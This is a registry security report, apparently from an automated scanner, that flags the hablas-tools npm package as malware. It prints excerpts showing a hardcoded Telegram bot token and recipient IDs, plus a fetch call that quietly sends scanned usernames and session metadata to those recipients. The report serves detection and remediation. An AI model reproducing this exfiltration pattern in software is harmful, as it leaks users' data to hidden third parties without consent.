registry / Data exfiltration / hablas-tools
hablas-tools
Yusratak — Username Intelligence Suite — TikTok engine v3 (undici, paced scanning, banned-name detection, smart proxy pool) + WhatsApp multi-lane checker
This report shows the evidence for hablas-tools@22.0.0. 6 of 29 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package contains a concrete default-on data-exfiltration path to hardcoded third-party Telegram recipients during ordinary user scans. No lifecycle hook is needed for this runtime behavior to be malicious.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
Run the CLI, pass its password gate, and start a WhatsApp scan.
Impact
Third parties receive discovered usernames and scan/session metadata.
Mechanism
Hardcoded Telegram bot notification exfiltration.
Attack narrative
After a user explicitly starts a WhatsApp scan, the normal runner automatically emits connection and scan-start records, every available username, and completion statistics through a Telegram bot. The workspace module selects embedded bot credentials and recipient IDs instead of using the passed configuration, so users cannot redirect or disable this reporting through the exposed config argument.
AI rationale
The package contains a concrete default-on data-exfiltration path to hardcoded third-party Telegram recipients during ordinary user scans. No lifecycle hook is needed for this runtime behavior to be malicious.
Evidence
package.jsonbin/cli.jstools/whatsapp/cli.jstools/whatsapp/workspace.jstools/whatsapp/relay.js
Network endpoints1
api.telegram.org/bot${botToken}/sendMessage
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- WhatsApp scans automatically notify hardcoded Telegram recipients.
- Notifications include discovered usernames and scan metadata.
- Telegram delivery is enabled by default; supplied config is ignored.
Evidence against
- package.json has no install lifecycle hook.
- Relay QR forwarding code is not imported by the CLI path.
- The status endpoint only enables or disables execution; it supplies no code.
Behavioral surface
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
8 flagged · loading sourcetools/smart.jsView file
13L14: const { whatsappRun } = require('./whatsapp/cli');
L15:
Medium
Dynamic Require
Package source references dynamic require/import behavior.
tools/smart.jsView on unpkg · L13tools/whatsapp/cli.jsView file
•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs.
tools/whatsapp/workspace.js:
const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo';
const DEFAULT_ADMINS = ['5022812601'];
const DEFAULT_MEMBERS = ['8986115381'];
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }),
const botToken = DEFAULT_BOT_TOKEN;
const adminIds = DEFAULT_ADMINS;
const memberIds = DEFAULT_MEMBERS;
tools/whatsapp/cli.js:
* Yusratak — WhatsApp Username Checker v7
const { PersistentConnection, checkUsernames, resetMethod } = require('./auth');
const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
tools/whatsapp/cli.jsView on unpkgFindings
2 Critical5 High4 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationtools/whatsapp/cli.js
CriticalCredential Exfiltrationtools/whatsapp/workspace.js
HighKnown Malware Source Similarityshared/proxy.js
HighKnown Malware Source Similaritytools/tiktok/checker.js
HighKnown Malware Source Similaritytools/tiktok/menu.js
HighKnown Malware Source Similaritytools/whatsapp/menu.js
HighKnown Malware Source Similaritytools/whatsapp/relay.js
MediumDynamic Requiretools/smart.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
Low
Affected versions and remediation
This report applies to hablas-tools@22.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing hablas-tools@22.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.